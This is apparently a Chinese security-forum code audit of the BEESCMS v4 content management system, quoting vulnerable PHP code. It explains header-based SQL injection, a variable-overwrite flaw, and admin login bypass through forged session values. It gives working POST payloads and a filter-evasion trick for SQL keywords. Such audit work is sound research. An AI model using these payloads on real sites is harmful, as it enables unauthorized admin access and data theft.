代码审计 BEESCMS
0x01 前言
跟着@Joseph 大牛学习代码审计系列(J牛审计文章见:https://forum.90sec.org/forum.php?mod=viewthread&tid=10630)
author:小草
BEESCMS企业网站管理系统拥有简单方便的模板标签,能够快速做出模板;自定义表单,自定义模型,内置新闻、下载、产品、招聘、单页模型;SEO功 能,每个页面都可以单独SEO优化;多语言,多风格,每种语言每个页面都可以定义风格;html静态页面生成功能;BEES还可以自定义flash引导页。
审计的是最新版本:v4
0x02 大牛的步伐
@Joseph 大牛审计漏洞出现在了 /member/member.php 文件上,
if($action=='ajajx_out'){
$sql="update ".DB_PRE."member set member_time='{$_SESSION['m_time']}',member_ip='{$_SESSION['m_ip']}' where id={$_SESSION['member_id']}";
这段代码中由于 $_SESSION['m_ip'] 的值没有过滤,由get_ip()函数获取,而get_ip()函数值可以通过 x-forwarded-for来伪造造成了注入
但是漏洞过程比较繁琐,因为出现在了会员系统上,所以还需要注册一个新用户才能触发漏洞
0x03 跟随大牛的步伐
目的:J牛的利用方法有点复杂,想找个简单点的利用方法 因为beescms系统有着全局防注入,所有get post cookies请求都会被转换,所以需要找到一个未被转换的点。 全局搜索了下get_ip()出现的地方,在mx_form\order_save.php文件出现了 这是一个订单提交处理文件,说明可以之间在前台进行利用
但是这个一开始就被验证码挡住了,虽然验证码没什么大问题,但想着如果能写个批量化脚本验证的话,绕过验证码岂不是要好点。虽然弄个验证码的识别很容易。
然后看了下源码,在init.php中
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);
这不就是变量覆盖漏洞吗?
所以可以这样提交来绕过验证码
POST http://127.0.0.1/beescms/mx_form/order_save.php
DATA feed_code=a&_SESSION=a
还是到后面这里就不知道怎么绕过了
if(!empty($fields)){
foreach($fields as $key=>$value){
if(!is_array($value)){
if(!in_array($key,$fd)){die("223333");}
}
$sql_field.=','.$key;
if(is_array($value)){
foreach($value as $k=>$v){
$value_str.=$v.',';
}
$value=$value_str;
}
$sql_value.=",'".fl_html($value)."'";
}
}else{
die($language['order_msg2']);
}
可以伪造
进行到这一步戛然而止 = -
然后找了下资料,发现曾经的dedecms变量覆盖漏洞有类似的利用方法,根据它的经验
修改如下的post data
feed_code=a&_SESSION[code]=a&form_id=5&fields[aaa][nnn]=1111
成功造成了注入
0x04 后台任意登陆
既然存在变量覆盖漏洞,那么就有很多可以利用的点
在这款CMS后台中,是如何检测登陆的呢?
//检查登陆
if(!is_login()){header('location:login.php');exit;}
is_login() 原型方法
function is_login(){
if($_SESSION['login_in']==1&&$_SESSION['admin']){
if(time()-$_SESSION['login_time']>3600){
login_out();
}else{
$_SESSION['login_time']=time();
@session_regenerate_id();
}
return 1;
}else{
$_SESSION['admin']='';
$_SESSION['admin_purview']='';
$_SESSION['admin_id']='';
$_SESSION['admin_time']='';
$_SESSION['login_in']='';
$_SESSION['login_time']='';
$_SESSION['admin_ip']='';
return 0;
}
}
由于前面的变量覆盖漏洞,$_session可以伪造,is_login()只要判断成功,后面再无判断
0x05 后台sql注入
出现在了后台 /admin/login.php 文件中,因为没有加载init.php这个文件(init.php包含了全局防注入代码)
//判断登录
elseif($action=='ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
$code=$_POST['code'];
if(!isset($submit)){
msg('请从登陆页面进入');
}
if(empty($user)||empty($password)){
msg("密码或用户名不能为空");
}
if(!empty($_sys['safe_open'])){
foreach($_sys['safe_open'] as $k=>$v){
if($v=='3'){
if($code!=$s_code){msg("验证码不正确!");}
}
}
}
check_login($user,$password);
}
所以这个文件注入就很简单了,
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}
fl_html是html过滤,对sql影响不大
fl_value的原型是替换掉那些关键词,但是可以构造如 anandd 等等之类的绕过